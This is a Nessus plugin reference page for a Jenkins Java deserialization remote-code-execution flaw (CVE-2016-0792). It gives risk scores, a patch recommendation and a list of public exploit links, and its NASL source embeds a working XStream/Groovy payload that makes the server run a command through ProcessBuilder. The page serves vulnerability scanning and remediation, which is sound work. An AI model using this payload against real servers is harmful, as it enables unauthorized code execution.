Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE - Nessus

High Plugin ID: 89034

This page contains detailed information about the Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 89034
Name: Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE
Filename: jenkins_security247.nasl
Vulnerability Published: 2015-01-28
This Plugin Published: 2016-02-29
Last Modification Time: 2022-04-11
Plugin Version: 1.11
Plugin Type: remote
Plugin Family: General
Dependencies: jenkins_detect.nasl
Required KB Items [?]: www/Jenkins

Vulnerability Information

Severity: High
Vulnerability Published: 2015-01-28
Patch Published: 2016-02-24
CVE [?]: CVE-2016-0792
CPE [?]: cpe:/a:cloudbees:jenkins
In the News: True

Synopsis

The remote web server is affected by a remote code execution vulnerability.

Description

The Jenkins web server running on the remote host is affected by a remote code execution vulnerability due to unsafe deserialize calls of unauthenticated Java objects to the Groovy library, specifically the runtime.MethodClosure class. An unauthenticated, remote attacker can exploit this, via a crafted XML file, to execute arbitrary code on the target host.

Note that the Jenkins web server may be affected by other vulnerabilities as well; however, Nessus has not tested for these.

Solution

Upgrade to Jenkins version 1.642.2 / 1.650 or later. Alternatively, disable the CLI port per the vendor advisory.

Public Exploits

Target Network Port(s): 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE vulnerability:

Metasploit: exploit/multi/http/jenkins_xstream_deserialize
[Jenkins XStream Groovy classpath Deserialization Vulnerability]
Exploit-DB: exploits/multiple/remote/43375.rb
[EDB-43375: Jenkins - XStream Groovy classpath Deserialization (Metasploit)]
Exploit-DB: exploits/java/remote/42394.py
[EDB-42394: Jenkins < 1.650 - Java Deserialization]
GitHub: https://github.com/3vikram/Application-Vulnerabilities-Payloads
[CVE-2016-0792]
GitHub: https://github.com/84KaliPleXon3/Payloads_All_The_Things
[CVE-2016-0792]
GitHub: https://github.com/Aviksaikat/CVE-2016-0792
[CVE-2016-0792: Modified Verion of CVE-2016-0792]
GitHub: https://github.com/Delishsploits/PayloadsAndMethodology
[CVE-2016-0792]
GitHub: https://github.com/GuynnR/Payloads
[CVE-2016-0792]
GitHub: https://github.com/Muhammd/Awesome-Payloads
[CVE-2016-0792]
GitHub: https://github.com/R0B1NL1N/java-deserialization-exploits
[CVE-2016-0792: Exploit for Jenkins serialization vulnerability - CVE-2016-0792]
GitHub: https://github.com/XPR1M3/Payloads_All_The_Things
[CVE-2016-0792]
GitHub: https://github.com/andrysec/PayloadsAllVulnerability
[CVE-2016-0792]
GitHub: https://github.com/anhtu97/PayloadAllEverything
[CVE-2016-0792]
GitHub: https://github.com/apkadmin/PayLoadsAll
[CVE-2016-0792]
GitHub: https://github.com/chanchalpatra/payload
[CVE-2016-0792]
GitHub: https://github.com/koutto/jok3r-pocs
[CVE-2016-0792]
GitHub: https://github.com/lp008/Hack-readme
[CVE-2016-0792]
GitHub: https://github.com/mrhacker51/ReverseShellCommands
[CVE-2016-0792]
GitHub: https://github.com/s0wr0b1ndef/java-deserialization-exploits
[CVE-2016-0792: Exploit for Jenkins serialization vulnerability - CVE-2016-0792]
GitHub: https://github.com/sobinge/PayloadsAllThesobinge
[CVE-2016-0792]
GitHub: https://github.com/sobinge/--1
[CVE-2016-0792]
GitHub: https://github.com/jpiechowka/jenkins-cve-2016-0792
[CVE-2016-0792: Exploit for Jenkins serialization vulnerability - CVE-2016-0792]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2016-0792
CVSS V2 Vector: AV:N/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	9.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	8.0
CVSS Temporal Score:	7.4 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	7.4 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(89034);
  script_version("1.11");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2016-0792");
  script_bugtraq_id(83720);
  script_xref(name:"CERT", value:"576313");

  script_name(english:"Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Jenkins web server running on the remote host is affected by a
remote code execution vulnerability due to unsafe deserialize calls of
unauthenticated Java objects to the Groovy library, specifically the
runtime.MethodClosure class. An unauthenticated, remote attacker can
exploit this, via a crafted XML file, to execute arbitrary code on the
target host.

Note that the Jenkins web server may be affected by other
vulnerabilities as well; however, Nessus has not tested for these.");
  # https://wiki.jenkins.io/display/SECURITY/Jenkins+Security+Advisory+2016-02-24
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bb7b4350");
  # https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6e7fc0b6");
  # https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6d83db");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Jenkins version 1.642.2 / 1.650 or later. Alternatively,
disable the CLI port per the vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2016-0792");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Jenkins XStream Groovy classpath Deserialization Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/01/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2016/02/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/02/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:cloudbees:jenkins");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"General");

  script_copyright(english:"This script is Copyright (C) 2016-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("jenkins_detect.nasl");
  script_require_keys("www/Jenkins");
  script_require_ports("Services/www", 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

appname = "Jenkins";
port = get_http_port(default:8080);
get_kb_item_or_exit("www/Jenkins/"+port+"/Installed");

payload =
'<map>' +
  '<entry>' +
    '<groovy.util.Expando>' +
      '<expandoProperties>' +
        '<entry>' +
          '<string>hashCode</string>' +
          '<org.codehaus.groovy.runtime.MethodClosure>' +
            '<delegate class="groovy.util.Expando" reference="../../../.."/>' +
            '<owner class="java.lang.ProcessBuilder">' +
              '<command>' +
                '<string>echo</string>' +
                '<string>hello</string>' +
              '</command>' +
              '<redirectErrorStream>false</redirectErrorStream>' +
            '</owner>' +
            '<resolveStrategy>0</resolveStrategy>' +
            '<directive>0</directive>' +
            '<parameterTypes/>' +
            '<maximumNumberOfParameters>0</maximumNumberOfParameters>' +
            '<method>start</method>' +
          '</org.codehaus.groovy.runtime.MethodClosure>' +
        '</entry>' +
      '</expandoProperties>' +
    '</groovy.util.Expando>' +
    '<int>1</int>' +
 ' </entry>' +
'</map>';

response = http_send_recv3(
  method:"POST",
  item:'/createItem?name=find_this_dir',
  content_type:"text/xml",
  port:port,
  data:payload);

# Examine the exception. If we were successful then jenkins will fail to read a file.
if (isnull(response) || isnull(response[2])) audit(AUDIT_RESP_BAD, port);

# different slashes for windows vs. linux
if ('jobs/find_this_dir/config.xml' >!< response[2] &&
    'jobs\\find_this_dir\\config.xml' >!< response[2]) audit(AUDIT_INST_VER_NOT_VULN, appname);

report =
  '\nNessus was able to exploit a Java deserialization vulnerability' +
  '\nby sending a crafted XML payload.' +
  '\n';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/jenkins_security247.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\jenkins_security247.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/jenkins_security247.nasl

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How to Run

Here is how to run the Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select General plugin family.
On the right side table select Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE plugin ID 89034.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl jenkins_security247.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a jenkins_security247.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - jenkins_security247.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state jenkins_security247.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

83720

CERT | Computer Emergency Response Team:

576313

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file jenkins_security247.nasl version 1.11. For more plugins, visit the Nessus Plugin Library.

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Jenkins < 1.642.2 / 1.650 Java Object Deserialization RCE - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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